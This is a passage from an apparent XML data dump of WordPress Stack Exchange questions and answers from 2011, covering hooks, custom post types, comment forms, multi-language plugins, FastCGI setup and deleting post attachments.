Sold',&lt;br&gt;&#xA;  'new_item' =&amp;gt; 'New Business Sold',&lt;br&gt;&#xA;  'view' =&amp;gt; 'View Business Sold',&lt;br&gt;&#xA;  'view_item' =&amp;gt; 'View Business Sold',&lt;br&gt;&#xA;  'search_items' =&amp;gt; 'Search Businesses Sold',&lt;br&gt;&#xA;  'not_found' =&amp;gt; 'No Businesses Sold Found',&lt;br&gt;&#xA;  'not_found_in_trash' =&amp;gt; 'No Businesses Sold Found in Trash',&lt;br&gt;&#xA;  'parent' =&amp;gt; 'Parent Business Sold',&lt;br&gt;&#xA;),) );&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="5278" LastEditorDisplayName="" LastEditDate="2011-06-06T18:56:54.987" LastActivityDate="2011-06-06T18:56:54.987" Title="exluding information for some posts from primary query" Tags="&lt;query&gt;" CommentCount="4" />
  <row Id="18079" PostTypeId="1" AcceptedAnswerId="18118" CreationDate="2011-05-24T02:49:18.680" Score="0" ViewCount="99" Body="&lt;p&gt;Here is my function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function insert_img_rel_attrib( $html, $id, $caption, $title, $align, $url  )&#xA;{&#xA;  $postID = ???&#xA;  $rel = &quot;&amp;lt;a rel='shadowbox[&quot;.$postID.&quot;]'&quot;;&#xA;  if ($url) {$html = str_replace(&quot;&amp;lt;a&quot;,$rel,$html);}&#xA;  return $html;&#xA;}&#xA;add_filter( 'image_send_to_editor', 'insert_img_rel_attrib', 10, 6 );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the current post ID? I've tried the obvious, &lt;code&gt;global $wp_query;&#xA;$postID = $wp_query-&amp;gt;post-&amp;gt;ID;&lt;/code&gt; etc.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-05-24T13:47:22.707" Title="How to retrieve the postID in a &quot;image_send_to_editor&quot; hook function?" Tags="&lt;posts&gt;&lt;images&gt;&lt;filters&gt;&lt;hooks&gt;&lt;editor&gt;" AnswerCount="3" />
  <row Id="18080" PostTypeId="1" AcceptedAnswerId="18112" CreationDate="2011-05-24T03:13:19.260" Score="1" ViewCount="165" Body="&lt;p&gt;Ok = I've looked around a lot for a clear answer to this, but find very few real answers. I would really appreciate some info from experienced individuals.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A tiny bit of background. I've worked content generation (among other thing) on a largeish website for many years, and it follows the pretty basic file system and discreet html (.aspx) pages for content. You want a new page, you make a new file and build your content. Done. I've built a dozen or so brochure sites like this as well. This is the system that makes sense to me, and I find myself a little hesitant to veer away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;CMS systems, like WP, obviously do not work like this. I am not inexperienced with wordpress. I've built and implemented a couple custom themes, but have &quot;tried&quot; to make the above file structure work &quot;along side&quot; of a wordpress install - mostly leading to headaches.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is where I currently sit, having spent a couple of months of weekends building my new personal site (which is almost finished). The format of the site is pretty straightforward - its a developer blog (I do a lot of AS3), a portfolio for artwork, and a main intro page that contains a bit of both. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My file structure looks a bit like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; mysite.com-&#xA;     /css/ &#xA;     /home/ &#xA;     /images/ &#xA;     /javascript/&#xA;     /portfolio/ &#xA;     /php/ (holds a lot of php snippets that is included elsewhere)&#xA;     /swf/&#xA;     /wordpress/../theme/ (draws upon img/css/php in external folders)&#xA;     index.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;While I do very much like the familiarity of this structure, the cross sharing of assets between static files and dynamic wordpress content is a pain. My option is to turn all static files into templates, and make use of WP's database driven page system. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I stand to gain from &quot;buying into&quot; the WP system completely? Or, conversely, is a static file structure external to wordpress &quot;workable&quot; - and are there preferred methods of doing so?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize this question is somewhat subjective, however, the proper handling of static content is, I think, a quite valid point of inquiry (tho... you might not think it, considering how little info there is to be found on the subject). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &lt;/p&gt;&#xA;" OwnerUserId="5430" LastActivityDate="2011-05-24T15:20:34.150" Title="Static files or dynamic WP pages for &quot;static content&quot;?" Tags="&lt;3.0&gt;&lt;pages&gt;&lt;content&gt;&lt;static&gt;&lt;folder-structure&gt;" AnswerCount="2" />
  <row Id="18081" PostTypeId="2" ParentId="5673" CreationDate="2011-05-24T03:18:15.567" Score="0" ViewCount="" Body="&lt;p&gt;To prevent WordPress from creating multiple image for thumbnails while uploading, I'm using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('intermediate_image_sizes_advanced', 'no_image_resizing');&#xA;    function no_image_resizing($size) {&#xA;        $ret = array();&#xA;        return $ret;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4967" LastActivityDate="2011-05-24T03:18:15.567" />
  <row Id="18082" PostTypeId="2" ParentId="18064" CreationDate="2011-05-24T03:33:16.350" Score="0" ViewCount="" Body="&lt;p&gt;Ok so i got it working like i want. Now all i have to do is figure out if i want a user to be able to upload there own image or not. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?&#xA;$userpiccur = wp_get_current_user();&#xA;$userpicloc = 'http://avatars.mydomain.com/';&#xA;$userpictyp = '.png';&#xA;$userpicurl = $userpicloc.$userpiccur-&amp;gt;user_login.$userpictyp;&#xA;$userpicbeg = '&amp;lt;img class=&quot;avatar avatar-52 photo&quot; style=&quot;height:52px; width:52px&quot; src=&quot;';&#xA;$userpicend = '&quot;/&amp;gt;';&#xA;if (@fopen($userpicurl, &quot;r&quot;))&#xA;    echo  $userpicbeg,$userpicurl,$userpicend;&#xA;else&#xA;    echo get_avatar( $user_email, '52', $default = 'http://www.gravatar.com/avatar.php?gravatar_id=$md5&amp;amp;size=80&amp;amp;default=$default' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4998" LastActivityDate="2011-05-24T03:33:16.350" />
  <row Id="18083" PostTypeId="2" ParentId="12351" CreationDate="2011-05-24T03:45:48.797" Score="0" ViewCount="" Body="&lt;p&gt;You can de-register #1 by doing, but as hakre said it probably best to keep it;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_removal_thang() {&#xA;wp_deregister_script( 'l10n' );&#xA;}&#xA;add_action('init', 'my_removal_thang'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-24T03:45:48.797" />
  <row Id="18085" PostTypeId="2" ParentId="18079" CreationDate="2011-05-24T05:24:28.930" Score="0" ViewCount="" Body="&lt;p&gt;Your global should work, what happens when you echo &lt;code&gt;$postID&lt;/code&gt; ( you should probably use a more unique name here).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also try, &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $post;&#xA;$Your_Post_ID = $post-&amp;gt;ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not very familiar with this hook though, you might have to use &lt;code&gt;wpdb&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2011-05-24T05:29:51.140" LastActivityDate="2011-05-24T05:29:51.140" CommentCount="1" />
  <row Id="18086" PostTypeId="2" ParentId="18073" CreationDate="2011-05-24T05:27:02.780" Score="0" ViewCount="" Body="&lt;p&gt;If you prefer a regular &lt;code&gt;if&lt;/code&gt; structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($meta = get_post_meta(get_the_ID(), 'rw_agentPhone', TRUE))&#xA;{&#xA;    echo 'office: ', $meta;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-24T05:27:02.780" CommentCount="1" />
  <row Id="18087" PostTypeId="2" ParentId="17924" CreationDate="2011-05-24T05:39:40.380" Score="0" ViewCount="" Body="&lt;p&gt;I copied your config and I got those 404s. It seems like you have mixed up fastcgi and Apache is confused where to find fastcgi and WordPress. As soon as I separated the fastcgi binary from WordPress I was able to make it work. In my setup I had WordPress was installed in /var/www/wordpress which is out of document root, my document root was something out of /var. But I could access WordPress as &lt;a href=&quot;http://domain.com/wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/wordpress/&lt;/a&gt; because of following Alias.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alias /wordpress /var/www/wordpress&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I created a fastcgi directory outside of WordPress in /var/www so it will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mkdir /var/www/fastcgi&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I linked the php5-cgi binary to this directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ln -s /usr/bin/php5-cgi /var/www/fastcgi/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I separated the php5-cgi because I don't like the idea of having a binary file under the directory accessible via web server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I config my Apache as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Alias /wordpress /var/www/wordpress&#xA;Alias /fastcgi   /var/www/fastcgi&#xA;&#xA;FastCgiExternalServer /var/www/fastcgi -host 127.0.0.1:9000&#xA;&amp;lt;Directory /var/www/wordpress&amp;gt;&#xA;    AllowOverride All&#xA;    AddHandler php-fastcgi .php&#xA;    Action php-fastcgi /fastcgi/php5-cgi&#xA;    AddType application/x-httpd-php .php&#xA;    DirectoryIndex index.php&#xA;&#xA;   Options +FollowSymLinks +ExecCGI +SymLinksIfOwnerMatch&#xA;&amp;lt;/Directory&amp;gt;&#xA;&#xA;&amp;lt;Location /fastcgi&amp;gt;&#xA;    SetHandler fcgid-script&#xA;    Options +ExecCGI&#xA;&amp;lt;/Location&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it started working. Hope this will help you fix your Apache config, let me know if there is anything wrong.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-24T05:39:40.380" />
  <row Id="18088" PostTypeId="5" CreationDate="2011-05-24T06:07:59.250" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wpml.org&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt; plugin is &lt;strong&gt;probably the most complete multi-language solution for WordPress&lt;/strong&gt;, but also it is not free, the &lt;a href=&quot;http://wpml.org/purchase/&quot; rel=&quot;nofollow&quot;&gt;costs&lt;/a&gt; being between 29$-79$.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin used to be free until February 2011.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;THere are currently some concerns regarding this plugin:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the access to the &lt;a href=&quot;http://forum.wpml.org/&quot; rel=&quot;nofollow&quot;&gt;WPML support forum&lt;/a&gt; is limited to paying customers&lt;/li&gt;&#xA;&lt;li&gt;solving &lt;strong&gt;interoperability issues&lt;/strong&gt; with other plugins is really hard, especially because the forum has restricted access and secondary because of the plugin is commercial (other plugin authors may not be so willing to spend time debugging compatibility issues with a commercial plugin).&lt;/li&gt;&#xA;&lt;li&gt;the &lt;strong&gt;forum closes the questions after two months&lt;/strong&gt;, so you may encounter old problems that are not solved and you cannot reopen them.&lt;/li&gt;&#xA;&lt;li&gt;some people were really disappointed about the &lt;strong&gt;commercial approach&lt;/strong&gt;, especially because the free/old plugin breaks when you upgrade wordpress&lt;/li&gt;&#xA;&lt;li&gt;some people complained about the fact that the plugin is &lt;strong&gt;focused mostly to use the iCanLocalize translation service&lt;/strong&gt; instead of other translation approaches, like in house-translation or crowed-translation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="-1" LastEditorUserId="944" LastEditorDisplayName="" LastEditDate="2011-05-24T06:10:35.310" LastActivityDate="2011-05-24T06:10:35.310" />
  <row Id="18089" PostTypeId="4" CreationDate="2011-05-24T06:07:59.250" Score="0" ViewCount="" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditorDisplayName="" LastEditDate="2011-05-24T06:07:59.250" LastActivityDate="2011-05-24T06:07:59.250" />
  <row Id="18090" PostTypeId="1" AcceptedAnswerId="18095" CreationDate="2011-05-24T06:08:01.153" Score="0" ViewCount="182" Body="&lt;p&gt;I see that there are hooks for manipulating WP_Query before it gets its posts (parse_query, pre_get_posts), but I can't seem to find any hooks for &lt;strong&gt;after&lt;/strong&gt; the WP_Query object is populated. I have a custom table for my plugin-specific post-associated meta data that I would like to fetch from after a WP_Query object is populated.&lt;/p&gt;&#xA;" OwnerUserId="1571" LastActivityDate="2011-05-24T07:27:57.653" Title="Hook/action after WP_Query gets posts to query custom tables for post-related meta" Tags="&lt;wp-query&gt;&lt;hooks&gt;&lt;actions&gt;" AnswerCount="2" />
  <row Id="18091" PostTypeId="1" CreationDate="2011-05-24T06:26:22.220" Score="1" ViewCount="436" Body="&lt;p&gt;What is the best multi-language plugin for WordPress?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;WordPress does not have multi-language support itself, so you need to use a plugin to obtain multi-language functionality. Do not suggest the usage of different WordPress sites for obtaining the multi-language functionality because this would create more problems that solving.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please answer only if you successfully implemented such solution and explain what current limitation it has. Also it would be a good idea to specify what other solutions you tested before choosing this one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;language URLs, like /en/... /fr/..&lt;/li&gt;&#xA;&lt;li&gt;being able to fallback to default language for untranslated pages&lt;/li&gt;&#xA;&lt;li&gt;browser language detection&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="944" LastEditorUserId="944" LastEditorDisplayName="" LastEditDate="2011-05-24T06:45:12.630" LastActivityDate="2011-08-05T08:19:38.833" Title="Best Wordpress Multi-language Plugin?" Tags="&lt;multi-language&gt;&lt;plugin-wpml&gt;&lt;plugin-qtranslate&gt;" AnswerCount="5" CommentCount="2" FavoriteCount="4" />
  <row Id="18092" PostTypeId="2" ParentId="18091" CreationDate="2011-05-24T06:36:10.787" Score="1" ViewCount="" Body="&lt;p&gt;My vote for &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qTranslate&lt;/a&gt; it supports a lot of languages and is very configurable :)&lt;/p&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2011-05-24T06:36:10.787" />
  <row Id="18093" PostTypeId="2" ParentId="18090" CreationDate="2011-05-24T06:40:06.933" Score="0" ViewCount="" Body="&lt;p&gt;Try with &lt;strong&gt;publish_post&lt;/strong&gt;, &lt;strong&gt;save_post&lt;/strong&gt; or &lt;strong&gt;wp_insert_post&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;read more &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2011-05-24T06:40:06.933" CommentCount="1" />
  <row Id="18094" PostTypeId="2" ParentId="18080" CreationDate="2011-05-24T06:44:17.493" Score="0" ViewCount="" Body="&lt;p&gt;I prefer using dynamic WP pages. So I feel more organized and I dont break the structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just my opinion :) &lt;/p&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2011-05-24T06:44:17.493" />
  <row Id="18095" PostTypeId="2" ParentId="18090" CreationDate="2011-05-24T06:46:40.483" Score="1" ViewCount="" Body="&lt;p&gt;As you haven't stated what you are trying to achieve and have just mentioned you need to fetch associated data. You have two options to query your custom table:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You need to do a custom query separately using the post id from the post object while iterating over the posts.&lt;/li&gt;&#xA;&lt;li&gt;Modify the joins of main WordPress query, so WordPress fetches the data from your custom table already associated with their respective posts.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The example below demonstrates first method.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php &#xA;      function populate_posts_data( $posts, $query ) {&#xA;           global $wpdb;&#xA;&#xA;           if ( !count( $posts ) ) &#xA;               return $posts;  // posts array is empty send it back with thanks.&#xA;&#xA;           while ( $posts as $post ) {&#xA;               // query to get custom post data from custom table&#xA;               $query = &quot;SELECT * FROM {$wpdb-&amp;gt;prefix}my_plugin_table WHERE post_id={$post-&amp;gt;ID}&quot;;&#xA;               $results = $wpdb-&amp;gt;get_results( $query );&#xA;           }&#xA;           return $posts;&#xA;       }&#xA;       add_filter( 'the_posts', 'populate_posts_data' );&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the second method you will need to look at &lt;strong&gt;posts_where, posts_join, posts_groupby&lt;/strong&gt; and &lt;strong&gt;posts_orderby&lt;/strong&gt; filters. As an example you can have a look at the @scribu's &lt;a href=&quot;http://scribu.net/wordpress/sortable-taxonomy-columns.html&quot; rel=&quot;nofollow&quot;&gt;sortable custom column's example&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5337" LastEditorUserId="5337" LastEditorDisplayName="" LastEditDate="2011-05-24T07:27:57.653" LastActivityDate="2011-05-24T07:27:57.653" CommentCount="5" />
  <row Id="18096" PostTypeId="1" AcceptedAnswerId="18098" CreationDate="2011-05-24T08:01:49.313" Score="0" ViewCount="237" Body="&lt;p&gt;I have featured images switched on in my theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_theme_support('post-thumbnails');&#xA;set_post_thumbnail_size(256,128, true);&#xA;add_image_size('icon', 128, 128, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but the Featured Image box isn't showing up anywhere when I edit a page. What's confusing is that the exact same theme, the same set of plugins and approximately the same data is working fine on another site. Is there some config setting that might prevent the Featured Image feature from working?&lt;/p&gt;&#xA;" OwnerUserId="3828" LastEditorUserId="3828" LastEditorDisplayName="" LastEditDate="2011-05-24T09:05:12.840" LastActivityDate="2011-06-08T16:38:50.503" Title="Featured Image meta box not showing up" Tags="&lt;theme-development&gt;&lt;multisite&gt;&lt;post-thumbnails&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="18097" PostTypeId="2" ParentId="18079" CreationDate="2011-05-24T08:04:22.947" Score="0" ViewCount="" Body="&lt;p&gt;From what I recall, the global &lt;code&gt;$post&lt;/code&gt; isn't set in the thickbox. You can check the contents of the global &lt;code&gt;$_REQUEST&lt;/code&gt; though, and retrieve it from there (assuming that the editor is being called from a post editing screen and not through the media manager or some other location).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-05-24T08:04:22.947" />
  <row Id="18098" PostTypeId="2" ParentId="18096" CreationDate="2011-05-24T08:13:22.550" Score="2" ViewCount="" Body="&lt;p&gt;Have you checked the &quot;Featured Image&quot; check-box within the &quot;Screen Options&quot; drop down menu beneath &quot;Howdy, your username&quot;? If that's not the case, we can look into it even further.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; WordPress MU users: Try going into &quot;Network Admin&quot;, then click on settings, then enable image upload box, and save.&lt;/p&gt;&#xA;" OwnerUserId="5018" LastEditorUserId="5018" LastEditorDisplayName="" LastEditDate="2011-05-24T08:53:22.517" LastActivityDate="2011-05-24T08:53:22.517" CommentCount="8" />
  <row Id="18099" PostTypeId="1" AcceptedAnswerId="18104" CreationDate="2011-05-24T08:34:23.477" Score="2" ViewCount="198" Body="&lt;p&gt;I need to conditionally not show the comment form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've added a filter to &lt;code&gt;comment_form_defaults&lt;/code&gt; as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function dont_show_comments($defaults) {&#xA;  $defaults = array(&#xA;    'fields'               =&amp;gt; array(),&#xA;    'comment_field' =&amp;gt; '',&#xA;    'must_log_in'          =&amp;gt; '&amp;lt;p class=&quot;must-log-in&quot;&amp;gt;' .  sprintf( __( 'You must be &amp;lt;a href=&quot;%s&quot;&amp;gt;logged in&amp;lt;/a&amp;gt; to post a comment.' ), wp_login_url( apply_filters( 'the_permalink', get_permalink( $post_id ) ) ) ) . '&amp;lt;/p&amp;gt;',&#xA;    'logged_in_as'         =&amp;gt; '',&#xA;    'comment_notes_before' =&amp;gt; '',&#xA;    'comment_notes_after'  =&amp;gt; '',&#xA;    'id_form'              =&amp;gt; 'commentform',&#xA;    'id_submit'            =&amp;gt; 'hide',&#xA;    'title_reply'          =&amp;gt; __( 'You need to have accepted the terms to leave a reply' ),&#xA;    'title_reply_to'       =&amp;gt; __( 'Leave a Reply %s' ),&#xA;    'cancel_reply_link'    =&amp;gt; __( 'Cancel reply' ),&#xA;    'label_submit'         =&amp;gt; '',&#xA;   );&#xA;&#xA;return $defaults;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This mostly works, but I'm left with an unlabelled button (the submit button).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way of not showing the form at all - preferably via a hook, and preferably not using CSS.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2011-06-30T06:42:07.037" Title="Hide comment form completely (preferably without using CSS)" Tags="&lt;comment-form&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18100" PostTypeId="2" ParentId="18091" CreationDate="2011-05-24T08:39:06.423" Score="3" ViewCount="" Body="&lt;p&gt;I would like to recommend &lt;a href=&quot;http://wpml.org&quot; rel=&quot;nofollow&quot;&gt;WPML&lt;/a&gt;, I use it on all of my bi/multi-lingual projects. It has great support and it makes WordPress truly multilingual, instead of only your content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latest addition is the media module, which takes care of the images you upload to Posts and Pages. No need anymore to upload them for each language separately, the plugin now recognises that there is an image attached to one language and will ask you to use that image too or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any questions you have about it, you can let me know.&lt;/p&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-05-24T08:39:06.423" CommentCount="1" />
  <row Id="18101" PostTypeId="1" AcceptedAnswerId="18103" CreationDate="2011-05-24T09:11:27.540" Score="1" ViewCount="211" Body="&lt;p&gt;Ive created a custom post type and I want to hide the main textarea content in the publish/edit page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="4984" LastActivityDate="2011-05-24T09:29:48.987" Title="Hide content box with Custom Post Type?" Tags="&lt;custom-post-types&gt;" AnswerCount="2" />
  <row Id="18102" PostTypeId="2" ParentId="18101" CreationDate="2011-05-24T09:26:13.570" Score="2" ViewCount="" Body="&lt;p&gt;When registering your custom post type don't specify support for editor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $args = array(&#xA;    'labels' =&amp;gt; $labels,&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'query_var' =&amp;gt; true,&#xA;    'rewrite' =&amp;gt; true,&#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; true, &#xA;    'hierarchical' =&amp;gt; false,&#xA;    'menu_position' =&amp;gt; null,&#xA;    // on the supports param here you see no 'editor'&#xA;    'supports' =&amp;gt; array('title','author','thumbnail','excerpt','comments') &#xA;  ); &#xA;  register_post_type('book',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information See: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/register_post_type#Example&quot; rel=&quot;nofollow&quot;&gt;Function Reference/register post type&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3797" LastActivityDate="2011-05-24T09:26:13.570" />
  <row Id="18103" PostTypeId="2" ParentId="18101" CreationDate="2011-05-24T09:29:48.987" Score="4" ViewCount="" Body="&lt;p&gt;Yes, remove the editor support from your custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do it in two ways.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;While registering your custom post type:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;    'public' =&amp;gt; true,&#xA;    'publicly_queryable' =&amp;gt; true,&#xA;    'show_ui' =&amp;gt; true, &#xA;    'show_in_menu' =&amp;gt; true, &#xA;    'capability_type' =&amp;gt; 'post',&#xA;    'has_archive' =&amp;gt; true, &#xA;    'supports' =&amp;gt; array('title','author','thumbnail','excerpt','comments')&#xA;); &#xA;register_post_type('book',$args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;2.Using the remove_post_type support if the custom post type is not defined by your code (i.e some other plugin/theme has defined custom post type).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'my_rem_editor_from_post_type');&#xA;function my_rem_editor_from_post_type() {&#xA;    remove_post_type_support( &amp;lt;POST TYPE&amp;gt;, 'editor' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-24T09:29:48.987" CommentCount="1" />
  <row Id="18104" PostTypeId="2" ParentId="18099" CreationDate="2011-05-24T09:50:53.580" Score="2" ViewCount="" Body="&lt;p&gt;I can think of only following ways to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;There is a filter &quot;&lt;strong&gt;comments_open&lt;/strong&gt;&quot; that check if the post whose $post_id is provided has comments open. You can use that to return false.&lt;/li&gt;&#xA;&lt;li&gt;There is another filter &quot;&lt;strong&gt;comments_template&lt;/strong&gt;&quot; that return the template file to be used to display comment form. You can return an empty file and hence no comment form will be displayed.&lt;/li&gt;&#xA;&lt;li&gt;The other is to set the comment_status on $post object to close before comment form is displayed, it will stop theme from displaying the comment form even if they use the hardcoded comment form.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5337" LastActivityDate="2011-05-24T09:50:53.580" CommentCount="1" />
  <row Id="18105" PostTypeId="2" ParentId="17046" CreationDate="2011-05-24T10:29:24.273" Score="0" ViewCount="" Body="&lt;p&gt;I've figured out the answer using the Wordpress forum.  Solution below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        &amp;lt;?php query_posts( array( 'country' =&amp;gt; 'event-england' ) ); ?&amp;gt;&#xA;        &amp;lt;?php if( is_tax() ) {&#xA;            global $wp_query;&#xA;            $term = $wp_query-&amp;gt;get_queried_object();&#xA;            $title = $term-&amp;gt;name;&#xA;        }  ?&amp;gt;&#xA;&#xA;        &amp;lt;ul&amp;gt;&#xA;        &amp;lt;span class=&quot;tax-title&quot;&amp;gt;&amp;lt;?php echo($title); ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;        &amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot; rel=&quot;bookmark&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;?php the_excerpt() ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; else: ?&amp;gt;&#xA;        &amp;lt;?php endif; ?&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2011-05-24T10:29:24.273" />
  <row Id="18106" PostTypeId="1" CreationDate="2011-05-24T10:57:45.453" Score="0" ViewCount="136" Body="&lt;p&gt;Hy all, I need help with permanently deleting images that has been attached to the post ( completely removing it from the server). I've set up the page where I see all the user contributed posts and I need to have a quick delete link when clicked to delete the post and all it's attached images. I've managed to delete the post, but the images remain on the server. Please Help :)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my structure of the page is :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;if(isset($_GET['delete'])) { // To detect if a delete request has been made&#xA;&#xA;$delete_post = array();&#xA;$delete_post['ID'] = $_GET['delete'];&#xA;$delete_post['post_status'] = 'delete';&#xA;$attachments = get_posts($args);&#xA;wp_delete_attachment( $attachment-&amp;gt;ID );&#xA;wp_update_post( $delete_post );&#xA;$user_id = $_GET['writer'];&#xA;&#xA;$post_deleted = &quot;Success!&quot;; // Used lower down to show the post has been successfully  